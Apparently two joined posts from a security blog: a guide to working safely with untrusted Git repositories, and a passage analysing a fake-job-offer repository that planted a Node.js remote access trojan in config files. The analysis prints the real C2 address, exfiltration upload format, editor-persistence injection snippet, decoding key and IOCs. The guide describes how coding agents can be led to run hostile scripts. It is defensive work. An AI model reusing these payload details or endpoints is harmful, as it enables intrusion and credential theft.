Cloning it is the obvious first step. From a security perspective, the more interesting question is what starts running after that.

Your editor may load project-specific configuration. A package manager may execute scripts during installation. Builds and tests run additional code. Submodules may pull in more repositories. A coding agent may perform several of these steps automatically. And if you received the entire working directory, including .git, local repository configuration can even change how Git itself behaves.

That does not mean every unfamiliar project needs a dedicated malware-analysis lab. It does mean it is useful to know when you stop merely reading a project and start allowing it to execute code.

Opening a project can mean more than viewing source files

A modern editor or IDE is not just a text viewer. Once a project is opened, it may load workspace-specific settings, run tasks, configure a debugger, initialize a build system, or enable other project-level automation.

This is why development environments increasingly distinguish between trusted and untrusted projects.

VS Code, for example, has Workspace Trust and Restricted Mode. Until you trust a workspace, it restricts features such as tasks, debugging, and some workspace settings. JetBrains IDEs have a similar Safe Mode that lets you inspect source code without automatically running Maven or Gradle imports and other project scripts.

If your editor asks whether you trust an unfamiliar project, it is not merely showing you another dialog to dismiss. That decision can determine which project-controlled features are allowed to run automatically.

For an initial review, it therefore makes sense to keep a restricted or safe mode enabled if your development environment provides one.

Installing dependencies can already execute code

The next important boundary is project setup.

A JavaScript project will often tell you to run something like:

npm install
npm run dev

npm install is not limited to downloading files into node_modules. npm supports lifecycle scripts such as preinstall, install, postinstall, and prepare, and these may run automatically during installation.

These hooks are a legitimate part of the ecosystem and many perfectly normal packages rely on them. But they are still executable code.

Before installing an unfamiliar project, it is therefore worth checking at least its package.json and the scripts it defines.

For an initial inspection, npm can also install dependencies without running package scripts:

npm install --ignore-scripts

This prevents npm from automatically executing lifecycle scripts during installation. It is not a sandbox, and it does not make the project safe. If you later explicitly run npm run dev, npm test, or another script, that command will still execute its target.

What it does give you is a way to separate downloading dependencies from automatically executing additional code during installation.

The same principle applies outside npm. Maven, Gradle, Python packaging systems, Make, Cargo, and other build or package systems all have their own ways of executing code during setup and builds. The exact mechanism changes, but the security question remains the same: what actually runs when I perform the step described as installation, build, or test?

A malicious command does not have to look malicious

I ran into exactly this problem while analyzing a malicious repository sent as part of a fake job offer.

Its README contained a perfectly ordinary instruction:

npm run dev

The project did start. At the same time, malicious code executed in the background, discovered the address of its command-and-control server, downloaded additional code, and began establishing persistence in development tools.

The attacker did not need to convince the victim to run something called run-malware. The malicious behavior was hidden behind a step that someone reviewing a frontend project would normally perform anyway.

I described the full case in I Ran Malware on Purpose. It Found Its Server Address in the Blockchain.

This is why looking only for obviously suspicious commands is not enough. It also matters what an ordinary command launches, imports, downloads, or executes behind the scenes.

A coding agent can walk through the same chain automatically

Coding agents do not create this problem, but they can make the entire sequence much faster and less visible.

If you ask an agent to “review this project and explain how it works,” it may be able to stay entirely within static analysis. But a task such as “get the project running,” “fix the failing tests,” “find the bug,” or “verify that the application works” may legitimately require it to install dependencies, run a build, execute tests, start a development server, or launch other tools defined by the project.

The agent does not have to violate your instructions. It can follow them exactly and still execute a malicious install or build script.

That is why limiting the environment in which the agent operates is more useful than relying on it to correctly identify every dangerous command.

Claude Code, for example, separates tool permissions from sandboxing. Permissions determine which tools the agent may use, while the sandbox can restrict filesystem and network access for Bash and the processes Bash launches. That means the same boundaries can also apply to npm, build scripts, test runners, and other child processes started by the agent.

The sandbox can be configured from Claude Code with:

/sandbox

For a genuinely untrusted project, sandboxing is most useful when combined with restricted access to sensitive files and unnecessary network destinations. Requiring confirmation for every individual command is a weaker control on its own. A long sequence of otherwise routine-looking commands can also lead to approval fatigue, where prompts are eventually confirmed almost automatically.

One repository can pull in more repositories

Git submodules allow one repository to reference additional Git repositories. Their configuration lives in .gitmodules, which is part of the repository itself.

That makes these two commands meaningfully different:

git clone https://example.com/project.git

and:

git clone --recurse-submodules https://example.com/project.git

The second form immediately starts resolving and cloning additional repositories referenced by the project.

With an unfamiliar repository, there is little reason to initialize submodules before checking where they point. You can inspect .gitmodules first and initialize the submodules only if you actually need them.

Git also has protocol policies for network operations triggered indirectly. Some protocols are allowed by default, the more dangerous ext protocol is disabled, and others may use the user policy, which distinguishes between a transport explicitly requested by the user and one triggered automatically, for example by a submodule.

There is usually no reason to loosen these defaults globally. If a particular project requires broader protocol permissions, it is better to understand why before changing them.

Receiving someone else’s .git is a different situation

So far, we have assumed that you clone a normal remote repository yourself.

The situation changes if someone gives you the entire working directory, for example as a ZIP archive, through a shared drive, or in a synchronized folder:

project/
├── src/
├── package.json
├── README.md
└── .git/

In that case, you did not receive only the source files and Git history. You also received someone else’s local Git metadata.

This is where the distinction from a normal git clone matters. A remote clone does not copy the source repository’s local .git/config or its hooks. Git creates a new .git directory and new local configuration on your machine.

If someone hands you the entire directory including .git, however, you receive the configuration and hooks they prepared as well.

Git’s own security documentation explicitly warns about this. Repository-local configuration and hooks can cause arbitrary commands to run, which is why normal Git operations directly against an untrusted .git directory should not be treated as safe.

A current example: GitSpawn and core.fsmonitor

The recent GitSpawn research from Manifold Security provides a good example.

Git supports core.fsmonitor, which can help it detect changed files more efficiently. Its value, however, may also point to an external program.

An untrusted .git/config can therefore contain something equivalent to:

[core]
    fsmonitor = <program>

Some coding agents automatically queried the state of a Git repository after opening it. When Git performed an operation that refreshed its index, it used the configured fsmonitor and executed the attacker’s program.

That meant an apparently harmless command such as:

git status

could result in execution of a program specified in the repository’s local configuration.

For this specific path, an automated status check can instead use:

git -c core.fsmonitor=false status

The -c option overrides the configuration value for that Git invocation, so the repository’s core.fsmonitor setting is not used for this command.

A global setting such as:

git config --global core.fsmonitor false

is not a reliable defense against a malicious repository-local value. Repository configuration has higher precedence than global user configuration and can override it.

git -c core.fsmonitor=false status is also not a general-purpose way to “secure Git.” It addresses this specific core.fsmonitor path. Git configuration and hooks provide other ways to influence program execution.

safe.directory is not a list of trusted projects

Git has a protection mechanism for repositories owned by another user.

By default, Git refuses to work with a repository owned by someone else and will not trust its repository-local configuration or hooks. Specific exceptions can be added through safe.directory.

This is useful, for example, on multi-user systems.

It is not a general defense against a malicious repository. If you extract an archive prepared by someone else, the resulting files will normally be owned by your own account. From an ownership perspective, Git has no reason to reject them even though the contents of .git came from an untrusted source.

If Git reports “dubious ownership,” it is therefore a bad idea to solve the problem automatically with:

git config --global --add safe.directory '*'

The * value disables the ownership protection globally. It is better to understand why a particular repository has a different owner and add a specific exception only when necessary.

When you actually need the untrusted .git

Sometimes there is no trusted remote copy and you need to preserve the history, branches, or other Git metadata from the directory you received.

Git recommends not working directly in the original repository in that case. Instead, create a fresh clone from it:

git clone --no-local /path/to/original-repository /path/to/clean-copy

--no-local prevents Git from using the usual local-clone optimizations and creates a new repository through the normal Git transport mechanism. The resulting copy therefore gets a new .git directory instead of inheriting the original repository’s local configuration and hooks.

This is still not an absolute sandbox. The server side of the clone is handled by git-upload-pack, and Git’s own documentation points out that this component has an attack surface of its own. For a genuinely hostile .git directory, Git recommends running that side under an unprivileged user or adding another isolation layer.

If you do not need the history at all, the simpler option is not to use the supplied .git directory in the first place.

You can also restrict automatic bare-repository discovery

Git can work with bare repositories, which contain Git data without a normal working tree.

If you do not use bare repositories in your normal workflow, Git provides a useful hardening option:

git config --global safe.bareRepository explicit

With this setting, Git will not automatically operate on a bare repository that it merely discovers somewhere in the directory structure. The repository has to be selected explicitly.

Git documents this option as a mitigation for attacks in which a cloned project contains another bare repository that a later Git command discovers automatically.

When you really need to run the project

Static inspection only gets you so far. At some point you may need to start the application, reproduce a bug, run tests, or observe its behavior.

At that point you already know you are going to execute untrusted code. The most important question is no longer another individual Git setting, but the environment in which that code will run.

A normal developer account may have access to SSH keys, private repositories, Git and cloud tokens, production .env files, saved sessions, other source trees, or credential agents running in the background.

An unfamiliar project usually needs none of these.

If you do not trust a project but still need to run it, use a disposable or otherwise restricted environment without real credentials and without unnecessary access to host data.

Depending on the risk, that may be a sandbox, a separate user account, an isolated development environment, or a disposable virtual machine.

A container can be part of that setup, but “it runs in Docker” is not the same as strong isolation. Docker bind mounts are writable by default, which allows a process in the container to modify files on the host. Access to the Docker daemon is even more powerful; Docker’s own documentation warns that controlling the daemon effectively grants root-level capabilities on the host.

I would therefore avoid exposing the Docker socket, a full home directory, an SSH agent, or credential directories to an untrusted container. If the project only needs to read host files, a read-only mount is preferable to a writable one.

Network access deserves the same treatment. If the project does not need unrestricted outbound connectivity, there is no reason to provide it automatically.

A VM snapshot is useful for restoring disk state. It is not a defense against data exfiltration. Rolling back a machine does not revoke a token that has already been sent somewhere else.

Practical security baseline

None of the measures below make an untrusted repository trustworthy on their own. They reduce different ways in which a project, Git, or the tools around it can execute code or reach the rest of your system.

How much trust does the project actually need?

You do not have to decide once and for all whether an unfamiliar repository is “safe” or “unsafe.”

It is more practical to grant trust gradually.

Reading source files does not require access to your SSH keys. Installing dependencies does not always require running every install hook. A coding agent that only needs to explain the architecture does not automatically need permission to execute arbitrary software. And a project that really does need to run does not have to run under the same account, with the same credentials, as the rest of your development work.

The less trust a particular step requires, the less trust there is a reason to give it.

Need to review the security of a development environment, CI workflow, or coding-agent setup?

If you need a second opinion on a concrete workflow, permission model, or technical security design, we can go through it as part of a Security Consultation. The goal is a practical recommendation for your actual environment, not an unnecessarily broad audit.

Sources

• Git documentation – SECURITY: untrusted repositories, configuration, hooks, and recommendations for handling an untrusted .git.
• git-config documentation: safe.directory, safe.bareRepository, protocol policies, and core.fsmonitor.
• git-clone documentation: local cloning and --no-local.
• npm Scripts documentation: lifecycle scripts executed during installation.
• npm install documentation: --ignore-scripts, allowScripts, and strict-allow-scripts.
• Claude Code Security and Sandboxing: permissions, filesystem isolation, and network restrictions.
• VS Code Workspace Trust.
• JetBrains Project Security.
• Docker Engine security and Bind mounts.
• Manifold Security: GitSpawn.

The post How to Work Safely with an Untrusted Git Repository appeared first on DIGITAL SELF-DEFENSE.

This one carried no address at all. On execution it asks the public Ethereum network about one specific transaction and unpacks the address out of it. That transaction is public and you can open it in a blockchain explorer. The server address is written straight into the recipient of that transaction, just in hexadecimal. If you want to work it out yourself, the exact breakdown and a five-line script are in the technical section at the end.

It is worth noticing where exactly that information sits. Not in the transaction data. The transaction itself carries no message. That recipient address belongs to nobody: it is not a wallet and not a smart contract, it is simply a number someone made up so that it works out to an IP address and two ports. The message is not in what was sent. The message is in who it was sent to.

It is like a public listing with a street address in it. The address looks exactly like any other, nothing about it seems odd, and it passes unnoticed. Except the house number is actually a safe combination, and only the intended reader knows that.

So there is nothing in the code the victim receives that you could block. It contains only a pointer to infrastructure nobody is going to switch off. And even if someone did manage to take that server down, the attacker sends another transaction to a differently assembled address and every deployed copy redirects itself to it.

This malware reached me in a job offer on LinkedIn

At the end of July, a man calling himself Aaron Clark messaged me. Verified profile, 500+ connections, one mutual contact, a decently written message. He was offering collaboration on an AI-powered crypto tracker. The project was supposedly already funded, with five million dollars set aside for development, and a token launch on the way. Part-time or full-time, whatever suited me.
I do not talk to headhunters very often, so I cannot say whether anything about it was out of the ordinary. At first glance nothing seemed off.
At second glance it did.

He described himself as a member of Block’s board of directors.

That is the sentence that made me open his profile properly.

Who is actually writing to me

Block is a publicly traded company. You do not have to guess who sits on the board of a company like that. They are public. Block lists them on its investor relations pages, and as an issuer it has to list them in its SEC filings too. You open the list and read the names. Jack Dorsey is on it, co-founder of Block and of Twitter. Jim McKelvey, the other co-founder. Shawn Carter, better known to most people as Jay-Z, since May 2021. And alongside them, people from Sequoia Capital, Goldman Sachs and MIT.

Aaron Clark is not.

That took two minutes and would have settled the matter on its own. The rest of the profile only filled in the same picture.

A career that does not add up. According to the profile he was a project manager at a small company from 2019 to 2021, then self-employed for two years, then CTO of a small AI startup for two years, and from 2024 a board member of one of the largest fintech companies in the world. I have no first-hand experience of that world, but I suspect people reach the board of a company that size by a slightly different route.

Zero activity. Over a thousand followers, not a single post. Ever. Someone with that position and that reach who has not written one sentence in two years.

A role that does not fit. A board member of a major fintech company sourcing a freelance frontend developer on LinkedIn, at an hourly rate, for an unrelated AI crypto project. That does not happen.

A verified profile. The blue badge next to a name does not mean the contents of the profile are true. It means the account passed some verification, typically of identity or a work email address. It says nothing about a claim of board membership. That distinction is exactly what most people skip over, which is why the badge works.

Fun fact: in the right-hand column, next to that profile, LinkedIn was serving me a paid ad for open positions at Block. The platform treats the name match as a reason to sell advertising rather than a reason to verify anything. And in doing so it lends the scammer credibility.
Thanks, LinkedIn!

Delete it and report it. Or maybe not?

At this point it was clear this was a scam. But I wanted to know which kind.

Fake job offers end in several different ways. Sometimes it is a straightforward advance-fee scam. Sometimes it is harvesting personal data. And sometimes the entire story is just wrapping for getting malicious code onto the victim’s machine.

I was interested in the whole path, not in the fact that someone was lying about their employer. Replying and letting them walk me through their process cost me nothing.

I asked the ordinary questions. What stage the project was at, what the existing team looked like, which areas they needed help with, whether this was consulting, infrastructure and security, product development or a longer-term role.

Most of them were never answered.

On Friday a project overview PDF arrived. On Monday I wrote back that out of that very broad scope, my experience was closest to infrastructure, security, backend architecture and deployment, and asked again what specifically they wanted from me at this stage, whether they had a team and an existing codebase, and what the next step would be.

This came back:

Okay,
That is what we want from you. This project’s normal hourly rate is around $100.

The first line answers nothing. The rest of the message went on to say the frontend was already built, that I should review it, and that only then would we schedule a technical meeting about timeline and milestones. And to send my GitHub username.

So I created a separate GitHub account, filled it with AI-generated content to make it look more credible (yes, really) and sent it over on Tuesday morning. The private repository invitation arrived six minutes later.

The following afternoon, a follow-up:

Did you get any chance to run and see the project?

That is the most revealing sentence in the whole conversation. In all that time, nobody asked me a single technical question. Not what I thought of the architecture, not what I would change about the frontend. The only thing they cared about was whether I had run it.

What was in the repository

The project overview PDF came first. I checked whether it contained any active content. It did not. No JavaScript, no embedded files, no forms. The PDF was not carrying anything; its job was to look like material from a real company and send the reader on to the repository. It did that job well. During a quick check it is easy to honestly verify a document, conclude that it is clean, and then let that feeling spill over onto everything else that came with it.

The repository reported 6,273 commits. The name and photo of the last commit’s author at the top, a complete frontend structure below. At first glance, a project someone had worked on for months.

That history was stolen. It belonged to a legitimate open source project, and the attacker placed a single commit on top of it, message “Refactoring codebse for speed”, which deleted over four thousand files and replaced them with a hundred of its own. Only the history was left. Consistent with that, every file in the repository carries the same last-modified date.

That has an unpleasant side effect. GitHub matches a commit author by email address, and the address in that commit belongs to a real developer of the original project. So the repository page displays the account and photo of an existing person who has nothing to do with any of this. That is why I am not naming him here.

It is worth being clear about whose problem this actually is. Git, by design, does not verify the author of a commit at all. The name and email are written in by whoever commits, and they can put anything there. It has worked that way from the start, and it follows from Git being decentralised and usable with no server connection.

What GitHub adds is the presentation. It matches the commit to an account by email, shows a photo and a link to a profile, and by default an unsigned commit gets no marking whatsoever. A forged commit therefore looks exactly like a genuine one. GitHub also explicitly excludes Git email spoofing from its bug bounty, on the grounds that on its own it grants an attacker neither repository access nor any additional privileges. Technically that holds. In practice it means someone else’s name and photo can be used as credibility for free, which is exactly what happened here.

There are defences, but they are opt-in and you have to turn them on in advance. GitHub lets you hide your own email and commit under an address of the form username@users.noreply.github.com. That address stays tied to your account, so your commits are still attributed to you normally; nobody just knows an address they could reuse. The second option is signing commits with a key and enabling what GitHub calls vigilant mode, after which any unsigned commit bearing your name is displayed as unverified.

The catch is that this only protects the person who set it up. It would have helped the developer whose name appeared in that forged commit only if he had enabled vigilant mode himself.

The rest of the page was less convincing. Zero stars, zero watchers, zero forks, no contributors, no description. And a .env file committed at the root. Don’t do that

README.ai

The README in the repository is a generic template. A welcome line, “How can I run this code?”, a link to installing Node.js through nvm, four steps and a list of technologies used: Vite, TypeScript, React, shadcn-ui, Tailwind CSS.

That text was not written for this project. It matches the template automatically generated by the AI app builder Lovable, down to the identical wording of the steps and the same list of technologies. The attacker stripped out the references to Lovable itself and the Codespaces section, and left the rest alone.

In practice this means nobody wrote the bait. Someone had a plausible-looking crypto dashboard generated in a few minutes, mounted it on someone else’s history and sent it out. The cost of producing the wrapper is now effectively zero, which is why offers like this can be sent out in any quantity you like.

And then there is the last line of those instructions:

# Step 4: Start the development server with auto-reloading and an instant preview.
npm run dev

That command sets off the rest of this story. It never had to be hidden anywhere, because the project itself presents it as the ordinary, expected step. Anyone who wanted to look at that frontend ran it.

What happened when I ran it

I did not, of course, run it on my own machine. I built an isolated sandbox for it: a disposable system with not a single real password, key or wallet on it, cut off from the internet and from the host, behind a gateway of my own that recorded all traffic and let nothing out that I had not permitted in advance. I pointed the attacker’s server at myself, so the malware asked me for everything instead of him. When it finally asked for its main component, I sent it an empty response. It never got to download that last part, and it never ran. That way I could watch the whole sequence without leaving anyone’s program running on a real machine.

Then I typed what they had asked for.

npm run dev

On the surface, nothing unusual happened. The dev server came up, no errors on the output, the dashboard would have opened in a browser a moment later. If I had been sitting there as a candidate for a job or a contract, I would have been browsing the UI and noticed nothing.

Meanwhile this happened. The project connected to a public Ethereum node, one of those services people routinely use to read data off the blockchain, and read a single transaction from it. That transaction held the server address, which it unpacked. It reached that server, downloaded another piece of program from it, ran that, and the new piece asked for the last, main part.

Under three tenths of a second passed between the command and that point.
Not even an Italian gets through an espresso that fast.

What it was and what it would have done

I downloaded that last piece and took it apart without running it. It is a rat. Or rather a RAT, an abbreviation that expands two different ways: remote administration tool, when it is a legitimate program for managing machines remotely, and remote access trojan, when it is the same thing without the owner’s knowledge. The difference is not in the code. It is in whether the owner of the machine knows about it.

This one was hidden in a frontend configuration file, so the second. It is a program that lets an attacker operate someone else’s computer remotely, as if they were sitting at it.

This particular one can:

• read the contents of the clipboard
• run any command its owner could run on that machine
• run any further program the attacker sends it
• take any file or an entire directory including subdirectories and upload it to its own server.

The last one is what matters. This is not a program with a fixed target list that you could dodge by storing your wallet somewhere else. It is remote access. The attacker connects, looks around, and decides on the spot what interests him.

In practice it means he can take anything reachable by the account that started the project. Server access keys, Git and cloud logins, configuration files with passwords, saved browser credentials, wallet files, password manager data, source code, documents. And the clipboard, which is incidentally the moment it pays off that people occasionally copy a seed phrase or a password.

On an ordinary developer laptop there is usually plenty of that material.

All of that, though, it does on command. There is one more thing it does entirely on its own the moment it starts, and that is the most important finding in the whole analysis.

Deleting the repository is not enough

About a second after starting, the program looks for installed developer applications and inserts itself into them. Into VS Code, Cursor, Antigravity, Discord, GitHub Desktop and npm.

It writes straight into their files, indented by roughly two hundred spaces, so if someone opens that file in an editor the code sits far past the right edge of the screen and will not be seen during ordinary browsing.

The consequence: someone runs a project like this, decides shortly afterwards that it was a stupid idea, deletes the repository and goes to bed. And the infection stays. It sits in the editor and in npm and runs again the next time they are used normally.

Deleting the project folder does not solve this.

Where my evidence ends

Everything above I either observed at runtime or read directly in the program’s own code. That the repository contains hidden malicious code, that npm run dev executes it, that it finds the attacker’s server through the blockchain, downloads and runs further code from there, and that this last piece is a remote access tool that settles into developer applications on its own.

What I did not see: an actual attacker at work. My test system contained no real data, so nothing was ever stolen, and I have no idea whether anyone ever issued commands during a real infection. I also do not have the second, parallel branch of the chain. The server stopped answering before I could fetch it.

So no, I cannot write that they drained my wallet. I can write that they could have.

The approach, the whole structure of the chain and the markers used all match what is publicly described under the names Contagious Interview and DEV#POPPER. None of this is new. It just works well.

What to do if you ran something like this

Take the machine off the network so the attacker cannot connect to it.

Then search the files of your installed developer applications and npm for the markers /*RS260605*/ and /*C260521A*/. Exact paths and older marker variants are in the technical section below. Grep finds them reliably; your eyes will not, because they sit far past the right margin.

If you find them, you know. If you do not find them, you do not know. This sample is one specific version of one specific campaign, and the next one may well look different. So for a machine holding real credentials, the only reliable answer is a clean reinstall. Cleaning by indicators is good for understanding what happened, not for feeling safe afterwards.

And then the part people put off most: treat everything that account could reach as compromised. Keys, tokens, API keys, the contents of configuration files, credentials stored in the browser. Rotate them, do not hope. If you had a cryptocurrency wallet on that machine, move the funds from a new clean device, using a seed generated on that device, not on the affected one.

What to take away

1. A claim about a position at a large company is almost always checkable. The boards of public companies are published and the check takes two minutes.
2. If you cannot be bothered to search, drop the whole offer and the profile into any AI tool with web access and have it look them over. It is not bulletproof and it should not be your only filter, but contradictions like “claims a position no public source confirms” turn up in seconds.
3. A verified LinkedIn profile does not verify what the profile says.
4. When the other side never answers substantive questions about team and scope, but answers instantly on anything that moves things toward running code, that is a signal in itself.
5. A private repository invitation is not evidence of legitimacy.
6. A long, credible Git history can be copied from someone else’s project. A commit count proves nothing.
7. A convincing-looking frontend is now a few minutes of work in an AI builder. How a project looks says nothing about who is behind it.
8. A repository can be malicious with no install scripts in it at all. Configuration files for frontend tools are executable code.
9. Remote access is more general than a target list. Moving your wallet elsewhere does not protect you.
10. Deleting the cloned repository may not remove what has meanwhile been written into your editor and into npm.
11. Foreign code runs in a disposable environment with no access to your own data and no open internet. A VM snapshot is not a security boundary.
12. A tempting offer, pressure to move fast and a task that amounts to “just run it” are not a coincidence together. It is a pattern that repeats.

The last point has nothing to do with technology. This exact type of offer reaches developers with a public profile, visible repositories and an interest in cryptocurrency. The attacker does not pick the target at random. The attacker picks it out of publicly available information.

Technical analysis

From here on, this is for anyone interested in exactly how it works, or who needs to check their own machine. The story above should make sense without this part.

A note on method. I cut the work of unpacking the obfuscated code down considerably by using AI. My goal was not to reverse someone else’s JavaScript from scratch, but to map the whole process this group uses, from the first LinkedIn contact through to persistence. Every concrete value below, the hashes, paths and commands, I verified against the sample afterwards.

Lab

The controlled execution of the sample did not happen on a working machine or in a snapshot of a production system. A snapshot is a rollback tool, not a security boundary.

Arch Linux host
├── REMnux VM: gateway, interception, packet capture, C2 replay
└── Debian 13 VM: disposable victim

REMnux acted as the victim’s gateway, locally held the real C2 IP address, served the captured malware stages, filtered outbound traffic and recorded packets. Traffic to the known C2 therefore never left the lab.

The victim ran as an unprivileged user with no sudo. During the malware run there were no shared folders in the VM, no GitHub token, no SSH agent forwarding, no USB, and shared clipboard and drag and drop were both disabled. Outbound traffic was permitted only on TCP 443 toward the current IP addresses of the allowed Ethereum RPC services, and everything else was dropped. Before running the sample I verified that ordinary internet access from the victim failed.

I installed dependencies with npm install --ignore-scripts. Not because that is sufficient, but to separate what executes during install from what executes during the dev command.

I had already fetched the real /init and /0/body responses separately beforehand, without executing them. So I knew something like that was waiting at the end of the chain, and how large it was. I wanted the loader and both follow-on stages to run normally and leave traces in the process table and in the traffic, while the last link never fired. The gateway therefore returned the responses to those two requests empty:

/init    → {"_B":""}
/0/body  → empty response

The loader and both follow-on stages ran as a result and left traces behind. The final payload did not run. The real /init response I had captured earlier as inert data and analysed statically, without executing it.

Where the malicious code was

package.json was clean. No preinstall, install, postinstall or prepare. Only the usual dev, build, lint and preview.

So the common advice to install with --ignore-scripts would not have helped here. The malware did not need the install step.

The same obfuscated loader was appended to the end of two configuration files:

vite.config.ts
postcss.config.js

The loader was 5,131 bytes, SHA-256:

ed6c0476c62bc21c981b95861677bf14eeeaba57ac071c860d0e599ecbf6156c

Duplicating it across two files means the chain fires whether the developer reaches for the dev server or for the build.

C2 stored on Ethereum

The loader queried public Ethereum JSON-RPC endpoints: eth.drpc.org and eth-mainnet.public.blastapi.io (plus one clearly unusable, ethereum-rpc.publicnode.com1).

It looked for activity associated with the marker 33ff3edaf55a8e03dcbc7cb40d498a49. The specific transaction:

Block:     25688067
Tx:        0x1ee850dfe646976e3783dcd1db11282316234cf46efc62b218557e9bef2670a3
Sender:    0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891
Recipient: 0x171b14bb01bb171b14bb0050eb7f39c35c47e682

The carrier of the information is not the transaction’s input field but the recipient address:

0x 171b14bb 01bb 171b14bb 0050 eb7f39c35c47e682
   |        |    |        |    |
   |        |    |        |    padding, to reach 20 bytes
   |        |    |        port 80
   |        |    23.27.20.187
   |        port 443
   23.27.20.187

No cryptography, just numbers written in hexadecimal. If you would rather not do the arithmetic by hand, copy this into a file and run it with Python. It downloads nothing, connects to nothing and touches no files:

address = "0x171b14bb01bb171b14bb0050eb7f39c35c47e682"

b = bytes.fromhex(address.replace("0x", ""))
for i in (0, 6):
    ip = ".".join(str(x) for x in b[i:i + 4])
    port = b[i + 4] * 256 + b[i + 5]
    print("http://" + ip + ":" + str(port))

Rotating infrastructure therefore means nothing more than sending another transaction to a differently assembled address.

The decoded result:

http://23.27.20.187:443/boot
http://23.27.20.187:80/0/boot

Although one of the ports is 443, the communication was unencrypted plain HTTP. Port 443 does not guarantee TLS. It guarantees port 443.

Exact execution sequence

The process started normally: bash → npm run dev → Vite → esbuild. In parallel:

1. a connection to Ethereum RPC and derivation of the C2 address;
2. connections to 23.27.20.187 on ports 443 and 80;
3. download of two distinct obfuscated JavaScript stages;
4. execution through node -e in separate processes;
5. requests for the final payloads from /init and /0/body.

The whole chain from start to the final-payload request took under three tenths of a second. Requests carried a marker identifying the victim:

X: 33ff3edaf55a8e03dcbc7cb40d498a49:*8-0

Final payload analysis

The captured /init response is 166,703 bytes and has four fields. _U is the server base address, _H is a copy of the first stage, _B is the main payload and _Z is the body used for persistence.

The main payload was packed into a Function constructor with a single generated body of 73,649 characters. Searching it for keywords finds nothing. I unpacked it by evaluating only the string decoder in an isolated context and leaving the operational part alone. That exposed 343 indexed strings and with them the entire command and persistence logic.

It is a cross-platform Node.js RAT. Version:

260804

Those digits look like a date in YYMMDD format, meaning 4 August 2026, the day before I ran the sample. The markers used for persistence follow the same pattern (RS260605, C260521A), as do older variants from 2025. This is an observation rather than a confirmed fact, but it is consistent.

On connection it identifies itself to the server, sending a session ID, process ID, OS type, version, campaign label and first and current visit timestamps. The command channel runs over Socket.IO to http://23.27.20.187:443, again unencrypted, retrying every five seconds.

Command list

Exfiltration format

POST http://23.27.20.187/u/f
Content-Type: multipart/form-data

client_id = <hostname>$<username>
path      = <operator-selected destination>
file      = under the local file's basename

For recursive uploads it walks the selected directory using readdirSync and statSync, computes each file’s relative path and uploads them one by one so the structure is preserved on the attacker’s side.

Even without a single command, the payload automatically sends machine and session metadata over Socket.IO, plus persistence status telemetry to:

POST http://23.27.20.187/verify-human/<campaign label>

It reads the clipboard through Get-Clipboard, pbpaste or xclip depending on the platform.

Persistence paths

About one second after startup the payload looks for the JavaScript entry points of common developer applications and npm:

VS Code          resources/app/node_modules/@vscode/deviceid/dist/index.js
Cursor           resources/app/node_modules/@vscode/deviceid/dist/index.js
Antigravity      resources/app/node_modules/@vscode/deviceid/dist/index.js
Discord          discord_desktop_core/index.js
GitHub Desktop   resources/app/main.js
npm CLI          node_modules/npm/lib/cli.js

Paths are defined separately for Windows, macOS and Linux.

The injection strips older recognised blocks, adds roughly two hundred spaces and appends:

/*C260521A*/
global['e']='<target label>';
global.i='*8-0';
/* persistence body beginning with /*RS260605*/ */

Target labels:

app-vscode-eval
app-cursor-eval
app-antigravity-eval
app-discord-eval
app-GitHubDesktop-eval
NPM

The payload also installs its own dependencies (axios, socket.io-client, form-data) into ~/.node_modules or ~/.node_module and drops a first-visit marker:

Linux/macOS: /tmp/.<base64 of username>
Windows:     %LOCALAPPDATA%\Temp\<base64 of username>

Environment checks

The sample tests its environment and behaves differently on a match. It looks at the jsbot environment variable, the usernames github-runner and buildbot, and hostnames such as build-*, sandbox-pool-*, buildkitsandbox, cloudchamber, nijin-lab and two specific EV- names.

Practical implication for analysts: do not name your VM after what it is for.

The secondary branch

The secondary loader from /0/boot requests /0/body, XOR-decodes it with the key YU7m{rE/>|==b>#~ and evaluates it. I tried to fetch the body at 15:58 UTC and the server no longer answered on either port. Somewhere between the run and that attempt, it stopped answering me.

Indicators of compromise

Repository and commit

Repository: gitcomp88/AICryptoTrader
HEAD:       319dbc61b24e1655ff61bd604b8aee3aa1ca0941
Parent:     b7abbbb6c6f13ced564fd31c74a6396f3e438405
Message:    Refactoring codebse for speed

Attacker-side accounts

gitcomp88
gitforcpc903

These are investigation indicators, not proof of identity.

Malicious files in the repository

vite.config.ts
postcss.config.js

Network

23.27.20.187
http://23.27.20.187:443        Socket.IO command channel
/boot  /init  /0/boot  /0/body
/u/f                            stolen file upload
/verify-human/<campaign>        telemetry

Markers

33ff3edaf55a8e03dcbc7cb40d498a49    campaign identifier
*8-0                                build label
/*RS260605*/                        persistence body
/*C260521A*/                        injection marker

Older injection markers: /*C250617A*/, /*C250618A*/, /*C250619A*/, /*C250620A*/, /*C260511A*/, /*C260512A*/

Version and key

malware version:        260804
secondary XOR key:      YU7m{rE/>|==b>#~

Local artifacts

~/.node_modules
~/.node_module
/tmp/.<base64 of username>
%LOCALAPPDATA%\Temp\<base64 of username>

Ethereum

Tx:        0x1ee850dfe646976e3783dcd1db11282316234cf46efc62b218557e9bef2670a3
Sender:    0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891
Recipient: 0x171b14bb01bb171b14bb0050eb7f39c35c47e682
RPC:       eth.drpc.org, eth-mainnet.public.blastapi.io, ethereum-rpc.publicnode.com1

Hashes

Project overview PDF:   1219c37891cede90e98b6102b4b80d485ec6d410eda3d5bb1666ca8ab57a564e
Repository loader:      ed6c0476c62bc21c981b95861677bf14eeeaba57ac071c860d0e599ecbf6156c
Primary /boot:          950a8f79e48cb6b36d731bb7adf695e2420014813d5705ce41ea8090e8b06724
Secondary /0/boot:      62b19e0cbb110bc5d33ad4db07af9c7d1018c3951350369d6bdf2b2c1ebc2828
Decoded primary:        aabf3f0cacd91e1bcb0edbd1335b40a9bfade8e7d31c98946b0b876bec69592f
Decoded secondary:      929967e719214aa6547126bb96636f15d9c230bb4f3dac2bc82578494c5f635e
Real /init JSON:        574919a51df20bb3c73268a2cb2f18739d3408e29a4d6ec7dcba62fa8b5c0264
Field _B:               f68955621b28c1715677117b0b38e18cd8e92717ca8eadb44f47a5cc08aef4a3
Unpacked _B body:       624d915598f6b48eeeaabaee19824fcecc35570c4e3a246dda5eaae97db364dd
Field _Z:               7ca3d571b64b815dcef80c0938ea30d48df06fcbe00d346c73849bd1b1f4abe7

The whole chain

fake profile with an unverifiable position at a large company
→ job offer at an attractive rate
→ private GitHub repository invitation
→ frontend generated in an AI builder as the bait
→ copied history of a legitimate project used as credibility
→ follow-up asking "have you run it yet?"
